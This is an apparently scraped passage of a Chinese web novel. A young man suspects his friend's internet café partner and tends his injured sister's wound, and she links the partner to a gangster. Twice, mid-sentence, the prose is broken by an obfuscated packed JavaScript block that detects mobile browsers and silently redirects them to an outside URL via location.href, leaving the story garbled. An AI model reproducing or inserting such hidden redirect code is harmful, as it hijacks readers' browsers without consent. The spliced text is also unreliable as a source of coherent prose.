可以偶尔发点脾气,可以说点幼稚的玩笑话,甚至可以在对方没完没了的碎嘴中,任性地选择沉默。 胖子是那种天塌了也会先把泡面吃完再说的人。 阮秋知道,他们身边很少有这样的人——既不沉重,也不试图改变什么,就只是简单地存在着,像是一个不会走远的背景音......那是一种近乎奢侈的放松。 他从不说出口,但这份感激是真切的。 尽管有时候对方欠揍的嘴巴让他分分钟想反悔。 胖子依然是那个悠闲的胖子,坐在前台吃着泡面,勺子搅动的声音伴着他嘴里的咀嚼,响得像台快散架的老风扇。 柜台上还摆着一瓶开了盖的汽水,气泡“嘶嘶”地往外冒,衬着他那副没心没肺的模样,怎么看都像是个无忧无虑的孩子。 阮秋窝在后面的办公室里,手边一堆散乱的软盘,屏幕上的进度条缓缓地爬动着。 他单手撑着脑袋,另一只手轻轻敲着键盘,间或抬头看看安装进度,动作闲散却带着一丝专注。 “好了没有?”胖子的声音从外头传来,含混不清,但气势十足,“哥都快把泡面吃完了,前台还排了俩小孩呢!” “马上。”阮秋头也不抬,语气里透着一丝嫌弃,“你倒是先少吃点,省得待会儿学生没钱上机,又馋你的泡面。” 胖子笑得一脸欠揍:“那不是正好?留住客源,顺便卖点零食,岂不两全其美。” 阮秋懒得理他,目光重新落回屏幕上。软盘的读写声滴滴答答地响着,他的指尖在桌面上轻轻敲动,像是在赶时间,也像是在分散注意力。 柜台上的电话突然响了起来。 胖子接起电话的动作显得很自然,但听到对方说话的瞬间,他的表情僵了一秒。阮秋听不清电话的内容,只是看到胖子低声回了几句,然后快速挂断了电话。 他转身打开了一台闲置的电脑,盯着屏幕上的什么东西看了很久。 “怎么了?”阮秋问。 胖子的动作顿了一下,但很快恢复了正常,笑嘻嘻地挥了挥手:“没事,生意上的事儿。你忙你的吧,哥搞得定。” “说起这个……”阮秋忽地觉得奇怪。 他虽然在网吧帮忙已经有一年了,但真正来得并不多。 课业繁忙是一个原因,还有接送淼淼——尽管淼淼早已不屑于他那种“像老妈子一样的操心”,但阮秋心里清楚,姐姐的那根刺,始终还扎在某个他看不见的地方。只要他稍微松懈一点,阮云琛可能连话都不会说,直接把他骂个狗血淋头。 他来得少,可也不是毫无印象。 这个网吧,从筹备到开张,胖子几乎逢人便说是和“成哥”合伙开的。 成哥的名字被提到的频率高得让人难以忽视。可说来也怪,这么长时间了,阮秋来来回回进出网吧,从没见过那个所谓的成哥。 一个“重要合伙人”,居然一次都没露过面。 阮秋靠在椅背上,视线落在胖子的后背上。 他现在正低头敲着键盘,像是很忙,又像是在掩饰什么。阮秋没说话,只是顺手转了转鼠标,点开了一张屏幕截图查看,心底隐隐有些不安。 “说起这个,胖哥,”阮秋缓缓问道,“成哥到底是谁?” 95. 意外 胖子的手顿了一下,回头看了他一眼,那表情微妙得很,说不上是警惕还是心虚。随即,他呵呵笑了两声,仿佛不在意:“还能是谁,不就是带我干活的老大呗。” “可是——”阮秋停顿了一下,斟酌着措辞,“我来这里这么久,一次也没见过他。” 胖子笑得更敷衍了,转身把一份文件拍在桌上:“哎呀,他忙啊。你知道的,这年头有点本事的人,谁还天天守着一间小破网吧?” 话虽然说得轻飘飘,但阮秋的眉头却越皱越紧。 不对劲。 太不对劲了。 从成哥的存在,到胖子现在的神情,哪儿都不对劲。 谢胖子的性格就是纯乐天派,哪怕是天塌下来,都不会伤着他分毫。可现在他这模样,就好像明天就是世界末日了似的。 “有鬼。”阮秋笃定地说。 “哎呀妈!”胖子吓了一跳,倒不是因为被阮秋这么直白的话给吓得,而是他确实有点怕什么鬼啊神啊的,“你吓哥一跳!” 胖子嘟囔着“哪有鬼”这种话,转头坐回了椅子上,一边吸溜泡面,一边有一搭没一搭地哼着歌,仿佛刚才的对话从没发生过。 阮秋却没那么轻易放过。他的目光扫过桌上的文件,那些摊开的纸张显得凌乱,数字和英文混杂在一起,看起来像是某种账单。 “你到底搞的什么名堂?”他低声问,声音里透着一股压抑的质问。 胖子啪地一声把文件合上:“生意经,懂不懂?你还是个学生,少管这种事,读好你的书去。” 阮秋没有再多说,尽管心里那股奇怪的感觉始终挥之不去,但他现在也没空多想——阮云琛傍晚就要从田家庄回来了,他现在脑子塞得满满的都是“该不该接”这个问题。 前几天还跟阮云琛吵架——也不是吵架,只是他单方面生闷气。现在阮秋又后悔又不后悔的。 不后悔的点在于他让阮云琛知道了他很在乎她......当然,阮云琛应该早就知道他在乎她。 后悔的点在于,阮秋觉得自己前几天的脸拉得太长了,现在有点下不来台。 “有什么下得来下不来的,你去不就完了。”胖子说,“阮妹妹还能吃了你不成?” 阮秋撑着脸,苦恼得眉头都搅在了一起,无意识地嘀咕了句:“我倒希望她能吃了我。” 胖子忽地“嘶”了声,斜着眼上下打量了一番阮秋,一时间不知道该说什么好,脸上的表情又是震惊又是害臊又是看热闹不嫌事大的:“你不会是......” 阮秋给他说愣了,回头瞅了他半天,猛地站起了身,一拳头甩上了胖子的肩:“你一天天的脑子里都是什么乱七八糟的东西!” 话虽这么说——对,话虽这么说,确实也如胖子所讲,阮云琛还能吃了他不成。 所以阮秋还是去了客运站。 阮云琛腰上的伤大概还没恢复完全,俯身从大巴底下掏行李的时候动作有点迟滞。阮秋正好赶到,一下子什么尴尬都全抛去了脑后,一个箭步冲上去就把阮云琛给扯开了。 “我给你拿。” 阮云琛愣了愣,“哦”了声,扶着车架子直起了身。 阮秋将行李拉出来时,听到一声不轻不重的“谢谢”。 他低头瞧了瞧阮云琛,明明动作有些迟缓,但站在那里时依然挺直,像是骨子里透出来的那股倔劲儿在支撑着她。 她的腰应该还在疼,可连扶一下车杆的动作都小心翼翼得像没事人。 “你真该歇着。”阮秋随口说。 “嗯。”阮云琛点头,语气干脆得像是附和,但脸上那点表情怎么看都不像是真的听进去了。 他没再说什么,只是自顾自地绕过车尾,把另一件行李也拿了出来。阮云琛看着他的动作,忽然开了口:“淼淼在家?” “她在做音乐课的作业。”阮秋回答,停顿了一下,“这次放假,她说要录一段视频,给学校交作业。” “录什么?” “音乐剧片段。她挑了个难的。”他轻轻笑了一声,像是有些骄傲,又有点嫌麻烦,“说是‘给姐姐看了会惊艳’。” 阮云琛也笑了笑,但没说话。她伸手拎起包准备走,却在起步时轻轻吸了一口气,动作僵了一下。 “别逞强。”阮秋一把抢过了她手里的包。 虽说如此,但谢胖子的事情一直在阮秋脑子里盘旋不去。阮秋沉默了会儿,还是忍不住提了一嘴:“姐,我觉得胖子最近不太对劲。” “不太对劲?”阮云琛一愣,条件反射地转过头,但眼底闪过的那一丝不安,转瞬即逝。她没有立刻接话,脑子里一瞬间浮现了些零碎的念头,却很快被她压了下去。 “你别瞎想。”她语气平静得有些刻意,“胖子能有什么不对劲?顶多是少赚了点钱,念叨两句而已。” “可他的账户里最近多了一些奇怪的转账。”阮秋低声说,“那些金额,正常人付网费用得着转那么多?” 阮云琛的脚步停了一下,但并没有回头。她的声音听起来依旧平静:“那是胖子自己的事情,网吧运营难免有些外账。” “可你不觉得这些‘外账’有点过头了?”阮秋站定,语气缓缓加重,“而且成哥这个合伙人,我来这里一年了,连影子都没见过。你就不觉得奇怪?” 阮云琛眉头轻蹙,侧身看向他,目光微微一沉。 阮云琛早就觉得不对劲。 从谢胖子提起“合伙人”时开始,就隐隐有种说不上来的感觉——更别提那网吧的选址,居然是北边的棚户区。 淮龙的经济这些年确实发展了不少,但北边始终像个被人遗忘的角落。 那里处于一种“三不管”的状态:警察不愿意管,居民不愿意去,政府不愿意动。 那些破旧的房子连片站立,街道狭窄,电线像蜘蛛网一样悬在头顶,每隔几天就有一次停电或者跳闸。走在巷子里,空气中总带着股霉味和食物的油烟味。几乎每条小巷的尽头都藏着一些见不得光的生意:赌博,放贷,甚至更糟糕的东西。 一个普通人要是没点胆子,是不会往那儿开店的。 而胖子,偏偏选在了那里。 阮云琛原本以为,胖子或许只是图租金便宜,或者说想避开主城区的竞争,但现在看来,事情恐怕没有这么简单。 那个“成哥”到底是谁?又为什么从未露面?这些问题像盘旋在空气中的烟雾,挥之不去。 ——还有谢胖子本人。 最初开店那段时间,胖子确实显得忙碌又手忙脚乱,这很正常——毕竟他对生意完全不熟。 可问题是,时间过去了快一年,他的焦虑不仅没有减轻,反而越来越明显。 胖子是个乐天派,嘴里总能蹦出点让人哭笑不得的段子,可最近几次见到他时,他总是心不在焉的样子,有时候接电话还会避开人。 这种细枝末节,不仔细想,确实好像毫不相干,但此刻忽地放在一起,就蓦地连成了一张松散的网。 阮云琛能感觉到它的存在,但一时之间,还摸不到蛛丝马迹的中心。 她知道自己不能再让阮秋插手太多,北边棚户区的乱象她再清楚不过,那不是一个年轻人该涉足的地方。 “秋,”她低声说,“胖子看着没个正经,但他知道分寸。成哥不露面,可能是他的业务需要。你别多想了。” “所以你也觉得不对劲?”阮秋抓住了她话里的重点,目光定定地看着她。 阮云琛没接这个问题,而是转开了视线,生硬地转开了话题:“最近淼淼的辅导班和上下学你记着接送,不要让她自己一个人走。” 阮秋沉默了良久,“嗯”了声。 回到家时,淼淼正趴在沙发上吃薯片,听到门响,抬头就对着两人翻了个白眼:“怎么才回来?我都写完一套卷子了。” 阮秋脱下外套丢在一旁:“多写点,对你考试有好处。” “对你考试才有好处。”淼淼撇嘴,抱着书本坐直了些,目光从阮秋脸上移到阮云琛身上,忽然皱起眉头,“你们吵架和好了?” 阮云琛滞了一瞬,阮秋抬手就把淼淼拎回了屋里,扣着门不让她出来:“你不是还有两套卷子吗?写完了吗?话这么多。” 淼淼“切”了声,伸着脑袋往外面看阮云琛,随后目光又在两人之间来回扫了几圈,最终对阮秋露出一个意味深长的笑,“看来上次是你犯的错。” “瞎说什么!”阮秋额头上蹦起了根青筋,“你一天天就不能消停点?” “脸拉那么长,戳痛处喽!”淼淼吐了吐舌头,在阮秋真的暴怒之前,缩着头逃了,逃时还不忘“怦”地关上了房间门。 淼淼跑回自己的房间,阮秋却没心情再追,只是盯着门框,眉头一点点皱了起来。 这几天阮云琛正值暑期实习,好不容易申请到了淮龙当地的派出所,按照阮秋的想法,这已经是很近的距离了。他一度以为,这会是难得的“家人都在一个城市”的阶段。 结果她偏偏被分到了城北。 从家里到城北的距离,说远不远,说近也不近,可偏偏城北那个地方离谢胖子的网吧只有一条街。 阮秋知道,她申请来淮龙派出所也是为了“就近”照顾淼淼,但……靠近谢胖子算怎么回事? 本来阮秋也没有那么多意见,可前几天阮云琛回来时无意提到,“最近城北有点麻烦,大家忙得很”,一副没事人一样的轻描淡写,反倒让阮秋心里堵得慌。 “麻烦”两个字从她嘴里说出来,从来都不会是普通意义上的麻烦。阮秋知道她那伤还没好透,这种时候还要顶着个半愈合的伤口到处跑,就为了一个什么“实习”。 她最近已经开始变得像廖致远一样了,好几天都不着家。要么是加班回不来,要么是回来了也赶着补材料…… 说到底,阮秋越来越觉得,她这个实习压根不是普通的派出所安排,而是又掺杂了些什么别的东西。 难道真的......跟胖子有关? 晚上躺床上的时候,阮秋满脑子都是前些天胖子奇怪的状态。 倒不是他多关心胖子的事——胖子怎么样跟他又没关系……对,那烦人的家伙跟他没半毛钱关系。可阮秋却没办法不想阮云琛冷不丁嘱咐的话。 “上下学接送淼淼,不要让她一个人走。” 上下学接送这种事情……这么多年来,阮秋一直雷打不动风雨不摇地接送着淼淼,生怕出现什么意外状况,这事阮云琛当然也知道。可这会儿她突然这么一提,倒是有点刻意了。 阮秋翻了个身,枕头底下的手机屏幕亮了一下,淼淼发来的短信弹了出来——短信上附了图,图上是一本还没开封的新漫画。 “草莓100%第六卷,你没有吧。” 她骄傲地配了一句。 阮秋随手划掉消息,盯着天花板的灯,脑子里转着白天的那些细节——谢胖子的神情,阮云琛的嘱咐,零零碎碎像是从手指缝里掉出来的沙子,落得满地都是。 这些事……阮云琛不会无缘无故提,她一定发现了什么。阮秋越想越觉得不对,眉头皱成了一团。 他想起谢胖子往日里贱兮兮地笑,那笑容和今天的神情大不相同,甚至跟上回他给自己那本破烂杂志时的样子都不一样...... 忽然,他脑子里闪过一个不合时宜的画面。 “哥给你的那本杂志,看了没?” 谢胖子的话像个榔头一样凿进了脑海。 阮秋猛地睁开眼,心跳蓦然加快了几分,他连忙翻了个身,把头埋进枕头里,试图把那个画面从脑海里甩出去,但那句“你不看白不看”却像个顽固的钉子,怎么拔都拔不掉。 “什么乱七八糟的东西。”他在黑暗里低声骂了一句,随即闭上了眼。 可黑暗并没有带来期待中的平静。 梦像是忽然从深渊里冒出来的潮水,把他整个人卷了进去。 场景一片朦胧,周围的空气沉闷得像是要凝成固体。他的双腿在飞快地奔跑,脚下的土地坑坑洼洼,满是杂草和碎石,隐隐还能听见身后传来的追喊声。 “站住!别跑!” 声音越来越近,他回头看了一眼,看到几个男人举着棍子和锄头,脸上满是凶恶的神色。他的呼吸骤然加快,心跳像是在胸腔里砸着鼓。 前面是一片密林,他一头扎了进去。树枝刮破了他的手臂,泥土沾满了鞋底。他不知道跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245311|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了多久,直到嗓子里泛起腥甜,耳边的声音才渐渐远去。 可他不敢停。 这不是第一次。 小时候,他就曾这样拼命地逃跑,逃出那个村子,逃出那些满脸贪婪的目光。 他早就知道,这个世界上没有人在意他的生死。他唯一能依靠的,就是自己的双腿和一口气。 他突然跌倒在地,手肘重重砸在石头上,刺痛感让他整个人颤了一下。他抬起头,发现自己躲在一片灌木丛里,周围安静得只剩下自己的喘息声。 可那片安静很快被打破。 不远处,灌木丛被拨开,他吓了一跳,猛地蹦了起来。可料想的追捕并没有到来,来的却只是个温柔的怀抱。 洗衣粉的清香和被太阳晒过的螨虫尸体的味道蹿进鼻腔,混着点说不上来的医院的消毒水味,一点点包裹住了全身。 “没事了,秋...没事了。” 阮秋愣住了,梦境在这一刻开始破碎,像是一块碎玻璃被重重地砸下。 他猛地从床上坐起来,额头上布满了冷汗。胸口的起伏还没平复下来,耳边的风扇声像是从另一个世界传来的。 屋里很安静,窗外月光斜斜地洒进来。 阮秋抬手捂住脸,手心里全是汗。 这该死的梦,竟然比现实还要清晰。 阮秋咬着牙去了厕所,把衣服和床单被罩全都丢进了洗衣机,泄愤似的舀了两大勺洗衣粉,关上了洗衣机的盖子,调了最大档,狠狠地摁了开始键。 ——都怪胖子。 对,都怪谢胖子。 都怪谢胖子非得给他那本不三不四的杂志,都怪胖子非得在北边开网吧,都怪网吧的地方离阮云琛实习的派出所太近,结果搞得阮云琛...... 搞得阮云琛又一次受伤,原本已经开始结痂的伤口重新裂开,血迹染透了纱布,连同制服一起皱巴巴地贴在了皮肤上。 阮秋听到消息的时候,已经是第二天的清晨。他急急忙忙赶到医院,一到就看见护士端着一大盘子带着血的纱布走出病房。 阮秋站在门口,手里的外套捏得皱皱巴巴,忍了半天,才把那股怒火压回了喉咙里:“到底发生什么了?” 阮云琛卡了下,本条件反射地想敷衍过去,低头时瞧见自己沾着血的制服,意识到实在是有点难撒谎,便只能轻描淡写地说:“没什么,就是巡逻的时候遇上点事,伤口崩裂了而已。” 阮秋憋住了一声冷笑,眼神扫过了坐在病床旁边难得唯唯诺诺的胖子,人高马大的谢胖子浑身一抖,哂笑着抬起了脑袋。 阮秋终于还是忍不住了,眉头一皱,声音高了八个度:“你还好意思笑?” 阮秋瞪着胖子,声音几乎是咬着牙问出来的:“到底怎么回事?” 谢胖子那一瞬间像是被人按了暂停键,嘴巴动了动,却没发出声音,眼神迅速飘向阮云琛。 “有几个混混,”阮云琛开口了,语气冷静得像在读报告,“在网吧附近闹事,抢了几个小学生的零花钱。我正好巡逻到那边,就出手帮了一下。谁知道动作大了点,伤口就崩开了。” “混混?”阮秋眯起眼,“抢零花钱?” “对啊,”谢胖子忽然跟着点头,一脸义愤填膺,“我都气坏了!居然有这种人!小秋,你是不知道,那帮家伙平时就在附近晃悠,仗着自己人多欺负人少,这次碰上了阮妹妹,算他们倒霉!” 阮秋的目光扫过胖子,又回到阮云琛脸上。他盯着她看了几秒,眉头越皱越紧:“你确定只是混混闹事?” “是啊。”阮云琛语气笃定,“要有别的事,胖子就不在这儿了,得在派出所做笔录。” ——这其中肯定有鬼。 但阮秋知道一味地问肯定是问不出什么名堂。 阮云琛从来都是说一不二的人。她认定的事情,十头牛也拉不回来。更别提她眼下这副模样,冷静得像没事人一样,偏偏还理直气壮,说什么都像真的。 可阮秋知道,越是这样的态度,就越说明她藏了事。她一向是能扛就扛,哪怕是天塌下来,也得先拿手顶着。 问下去也没用。 阮秋低下头,抿了抿唇,终究还是把话咽了回去,只余一道不甘的目光落在她脸上。 阮云琛换完了药,又去柜台拿了几副消炎药,就出院了。 毕竟这也就是寻常的伤口崩裂,虽然因为反复裂开而有点感染,但并不是什么需要住院的大病。 但阮秋还是不放心。 他站在房门口,手垂在身侧,攥了又松,松了又攥,眉头紧皱着,脑子里打了一场漫长的拉锯战。 他从未觉得这一扇薄薄的木门竟能生出如此大的阻力。 “你到底要不要进去?” 淼淼的声音蓦地从身后传来,阮秋被吓了一跳,回头看她,声音压得低低的:“你管这么多干什么?” “我不管。”淼淼抱着臂,站在他身后,表情却分明写满了“我看你憋着难受”。 她上下打量了他几眼,忽然“哒哒哒”跑上前,抬手就敲了两下门:“姐,有人找!” “淼淼!”阮秋瞬间炸毛,压低了声音吼她,眼看着那扇门在他的惊愕中打开了。 阮云琛穿着一件宽松的T恤,肩膀的绷带隐隐透过布料露出一点痕迹。她倚着门框,目光扫了一眼淼淼,又看了看阮秋,显然刚洗过澡,头发微湿,脸上没有什么表情。 “什么事?”她的声音平静而淡然。 淼淼“嘿嘿”一笑,吐了吐舌头,一转身跑去了厕所,只留下阮秋杵在那儿,像被定格了一样,一动不动。 他怔怔地站在那儿,目光却忍不住飘向了阮云琛的房间里头,桌上摆着一个打开的医药箱,盖子半掀着,镊子和纱布随意地放在一旁,旁边还有一卷没收好的绷带。灯光落在金属器械上,泛着微凉的光,像是一场未完成的战役,余味还残留在空气里。 阮云琛看了他一眼,脸上还是那副惯常的淡然表情,可她没有立刻关门。两人僵持了几秒,她才微微垂下眼帘,低低地叹了一口气。 “进来吧。”她的语气平静得听不出一丝波澜,但那口气却像是将两人之间的隔阂轻轻推开了一道缝隙。 96. 药 房间里安静得几乎只剩下药箱里瓶瓶罐罐的气味,酒精的挥发味儿隐隐约约飘散开来。 两个人都坐下了,谁也没说话。桌上的镊子和纱布静静地躺着,像是在默默注视着他们之间那片微妙的沉默。 阮云琛斜靠在椅背上,手随意地搭在一边,姿态看似放松,眼神却微微垂着,像是在走神。 阮秋动了动嘴角,有话想说,却在出口的瞬间又咽了回去。 他的目光在桌面和阮云琛之间来回游移了一阵,终于像是憋不住了一样,低声开口:“我帮你换药吧。” 阮云琛怔了一下,目光从窗外转过来,停在他的脸上,带着一点未及掩饰的错愕。她的手无意识地动了动,似乎想要拒绝,但最终什么都没说,只是微微点了点头。 “随你。”她的声音听起来平静,但话尾像是压着什么,软了几分。 阮秋松了口气。 阮云琛转过了身,手撑着椅子缓缓直起了身,挽起T恤的一角,露出腰侧的伤口。白色的纱布边缘有点皱,带着干涸的血迹,隐隐透出深色的痕迹。 阮秋的目光下意识地停留在那一处。 她的腰不算纤细,更多是线条紧实,骨骼分明,带着常年锻炼后积累下来的力量感。 伤口就在那道肌肉微微隆起的地方,像一条薄而刺眼的裂痕,破坏了原本的平滑,却也因此让人无法移开视线。 阮秋想抬起手,可手指稍稍动了一下,又僵住了。 T恤被挽到腰际,那片果/露的肌肤微微泛着淡淡的冷色调,在灯光下显得格外清晰。 腰线的弧度向下延展,隐入衣物的遮掩里,像是一条蓄势待发的线,勾住了阮秋的目光,也牵动了他呼吸的频率。 他猛地移开视线,几乎是强迫自己盯着纱布看,尽量不让目光再向下滑动,可脑海里某些细节却像烙印一样挥之不去。 阮秋猛地咬了下自己的舌尖。 刺痛感总算让他找回了一丝微渺的理智,他转开了目光,从药箱里取出了镊子。 “疼吗?”他问。 “还行。”阮云琛说。 阮秋没接话,只是低下头,小心翼翼地撕开纱布。他的手指不小心碰到了一点皮肤,指尖的温度带着一种过于真实的触感。 阮云琛皱了皱眉,却没有动,只是下意识地咬了咬牙。 阮秋从前也帮她上过药。 腰上的,背上的,肩头的,胳膊上的。阮云琛从来不说那些伤是怎么来的,他也从来不问。 那时候的他小,胆子也小,觉得不问总是好的。她不说一定有不说的理由,他冒然问了,反倒像是撕开了她的伤疤。 阮秋一直觉得,阮云琛身上那种沉默的力量很特别。她像是撑着一口气活着,硬生生将自己拼凑得像一个无坚不摧的人。 那时候的阮秋不敢动这口气。 他隐约觉得,这口气,是她仅剩的支柱。她的很多事情都不是她愿意的:她做的不是她想做的,她受的也不是她能承受的——可是,她活下来了。 她靠着那口气硬生生撑了下来。 人总有那么一种状态,像是在用沉默给自己建一座护城河。 只要沉默不破,城也不倒。 可阮秋不知道从什么时候开始,自己没办法再这样沉默下去了。 他想知道她为什么受伤,想知道是谁伤了她,想知道她能不能下次别受伤了。 起初,这份在意只是因为家人,因为她是姐。 可是后来...... 后来这种感觉,一点点地变了。 那种沉默下的韧劲,曾经让他畏惧,却又让他着迷。他开始关注她的一举一动,开始注意她每一个无声的皱眉和小动作。 他不确定这种变化是从什么时候开始的,也许是她给他递药的时候,也许是她挡在他身前的时候,也许是更早更久以前,连他自己都没察觉的某一刻。 阮秋只是知道,这种感觉像一颗种子,一点点地破土生根,最终盘踞在他的心里。他不再满足于当一个沉默的旁观者,他想知道她所有的秘密,他想保护她,他想—— 阮秋的指尖一顿,意识到自己愣神了。 阮云琛轻轻动了一下,像是想换个更舒服的姿势,她倚在椅背上的样子慵懒而随意,可那道腰上的伤却显得扎眼得很。 “怎么了?”她问。 阮秋低下头,重新专注地擦拭伤口。嘴角微不可察地动了一下,但很快敛了下去。 “忍着点,”阮秋的声音低了下来,像是在安慰她,也像是在安慰自己,“马上就好。” 酒精的味道再次弥漫开来,擦过伤口时,冰凉的刺痛感让阮云琛忍不住轻轻吸了口气。她的身体轻微地颤了一下,手指条件反射般攥紧了椅背。 阮秋的手顿了一下,动作变得更轻了。他的目光盯着那条狭长的伤口,神色隐隐有些复杂。 “别那么严肃。”阮云琛偏头看了他一眼,嘴角扯出一个淡淡的笑,“小伤,过两天就好了。” 可阮秋没有笑,他的眉头皱得更深了些,但最终只换了块新的纱布,把那些没说出口的话藏进了动作里。 气氛静了下来,只有镊子与药箱碰撞的轻响。 阮秋知道阮云琛的习惯,她会选择不说。而他现在的选择,是等她。 就像种子等待春天一样,他一点都不急,可是...... 可是等什么呢? 阮秋沉默地收拾起药箱,可就在站起身的瞬间,某种压抑已久的冲动猛地从心底涌了上来。 他抬起头,目光直直地锁住了阮云琛,沉默了一瞬,忽然一把握住了椅背的边缘,连着她坐着的椅子一并转了过来。 阮云琛的视线猝不及防地与他对上,愣了一下,手刚要撑着椅子站起,却被顺势按住椅背的手给挡了回去。 “姐,”阮秋的声音低得像一条拧紧的线,带着不容拒绝的坚定,“不要再这样了。” 阮云琛一时没反应过来,只是仰头看着他,眼神里闪过些许错愕。 她从未见过阮秋这样的模样,像是某种潜藏的情绪被悉数揭开,直白得让人无法回避。 阮秋的双手撑在椅子的两侧,几乎将她完全困在了他的目光里。他的脸离她很近,近到她能看清他眼底那一点不加掩饰的沉郁与执拗。 “不管发生什么,不要受伤。” 阮秋的手搭在她的肩膀,指腹贴着脖颈果露的皮肤,那温热的触感刺得人有意思别扭的酥麻。 阮云琛总觉得这触感刺挠得慌,像是被什么撩过心头,随着他指腹缓慢地摩挲,一点点被剥开了外层的茧。 可阮秋的神色却认真得很。 认真到阮云琛觉得自己是不是不应该在此刻莫名其妙地开起小差。 他的声音像是刻进空气里,一字一句,都带着令人无法忽视的力量:“需要我的时候,请告诉我,我可以帮忙。我有能力帮你。” 四目相对,沉默像一张薄薄的网,包裹住了他们之间的一切。 阮云琛的呼吸有一瞬的停滞。 她看着他,看着这张带着少年稚气却逐渐褪去青涩的脸,看着那双比她记忆中更深沉的眼睛。 空气里静得只剩下呼吸声,轻微却清晰,像某种微妙的拉扯,在无声地发酵着。 “阮秋……”阮云琛的声音低了些,像是无意间泄露的一点脆弱,话到一半却卡住了。 阮秋没有回应,只是死死地看着她,目光深得像是要将她整个人都困在其中。 他的手依旧撑在椅背两侧,肌肉紧绷着,像是一张拉满的弓,稍有风吹草动就会彻底崩裂。 阮云琛下意识地往后靠了靠,肩膀轻轻碰到了椅子的边缘,呼吸也不由得轻了几分。 她一向不擅长处理这种近距离的对峙,更不习惯被这样毫无保留地注视着,仿佛整个人都被剥开了防线,暴露在一种无法逃避的情绪里。 时间仿佛被拉长成了一条看不到尽头的线,悬在他们之间,绷得几乎快要断裂。 “阮秋,你……”她的声音又一次响起,却低得像是一片羽毛,刚一出口就被那份无形的压迫感碾碎在空气中。 阮秋的手指微微收紧,指关节因用力而泛白。他的喉结轻轻滑动了一下,像是在极力克制着什么,唇角动了动,却终究没有发出声音。 就在这弦即将崩断的瞬间,他忽然松了手。 那动作轻得像是一阵风,却又迅速得让人猝不及防。他的手垂了下来,撑在椅背上的力量也随之卸去,目光终于缓缓移开,低头看向了地板。 “我去拿点水,你早点休息。”他的声音很低,带着一点喑哑的尾音,像是掩藏了一场汹涌而至的风暴。 他起身退后了一步,动作看似自然,却带着几分仓皇的意味。可即便如此,他眼里的某种情绪仍未散去,反而在那短暂的距离中,越发浓烈,越发无法忽视。 空气像是终于松了一口气,却又因为那份未尽的意味而显得格外沉重。 房门轻轻合上,阮云琛愣了许久。 椅背还带着些许阮秋的体温,空气里隐隐残留着酒精的味道,她不自觉地伸手将药箱合上,动作比平时慢了一些。 刚才的那一幕像是被刻在了脑海中,来回反复地跳跃着。阮云琛微微蹙了下眉,抬起头看向门口,可门早已关上,阮秋的影子消失得干干净净。 她挪开视线,手肘轻轻撑在桌上,按了按太阳穴。 那小子......最近怎么回事? 阮秋今天的举动确实有些反常,可是阮云琛想不出哪里不对。可能是因为伤口的缘故,可能是最近压力太大,又或者只是单纯地…… 他长大了,不再是以前那个话少又沉闷的弟弟。 嗯,大概是这样没错。 阮云琛摇了摇头,将这些乱七八糟的想法给抛了开。 挂钟的指针缓慢地转动着,时间已近午夜,但她的脑子却没办法安静下来。 她不是不想和阮秋说。 她只是没法确认自己的猜测到底是不是对的。 阮云琛脑子里还在反复浮现着一张陈旧的照片。 照片是前几天在北户派出所整理档案时偶然发现的。 她原本以为不过是一次普通的资金融资案卷,但当看到那张照片时,却感到一阵突如其来的眩晕。 照片上,那张模糊的脸让她觉得无比眼熟。 她翻来覆去地盯着照片看了很久。对方的名字是个化名,背景资料简短得像是有意被人处理过,只留下几条无关紧要的线索。 但她越看越觉得奇怪,直到看到他手腕上的纹身——一个带着复杂线条的小符号。 阮云琛呼吸一滞。 那是她还在和安堂做工时的事情。她记得这张脸,记得这个人,那时候他用的是另一个名字,而不是...... 李成庆。 ——李成庆。 对啊,上次搭讪淼淼又打伤了阮秋的那些混混,他们说了什么来着...... “你再厉害也顶不住李成庆的人。” 阮云琛一度把这句话抛诸脑后,只当是混混用来唬人的废话。可现在,当这个名字再度出现在照片上,记忆的碎片一点点拼合起来,所有被遗忘的细节突然像决堤的洪水一样涌来。 ……胖子的“成哥”,和李成庆是一个人吗? 她没有多想,立刻收拾好东西,离开了派出所,冲进了胖子的网吧。 网吧的灯光昏黄,空气里弥漫着泡面的咸香味。阮云琛坐在胖子的对面,桌上的键盘和散乱的账单之间隔开了一点空隙,像是划分了他们之间的一道无形的界线。 谢胖子正趴在柜台边捞泡面,抬眼看见她时动作一顿,嘴里叼着的筷子差点掉了下来。 “哟,阮妹妹。”他放下筷子,堆起一脸笑,挠了挠头,“巡逻呢?怎么来我这儿了?” 阮云琛没接话,只是目光在他脸上停了一瞬,没有理会他的寒暄,难得神情板硬,直入正题:“成哥是谁?” 谢胖子正埋头捞着泡面,听到这话动作僵了一下,筷子停在了半空。他抬起头看了她一眼,脸上的笑容依旧挂着,像往常那样漫不经心:“还能是谁?带我干活的合伙人呗。” “合伙人?”阮云琛轻轻重复了一遍,目光落在胖子的脸上,“这么重要的合伙人,一年了却连影子都没见过?” 胖子被她盯得有点发毛,赶紧放下筷子,摆了摆手:“哎呀,他忙啊,咱们这点小买卖他看不上,平时也就是帮衬着打理点事。” “打理?”阮云琛皱起了眉,“打理什么?账目吗?” 胖子的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250340|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容忽然有些挂不住了。 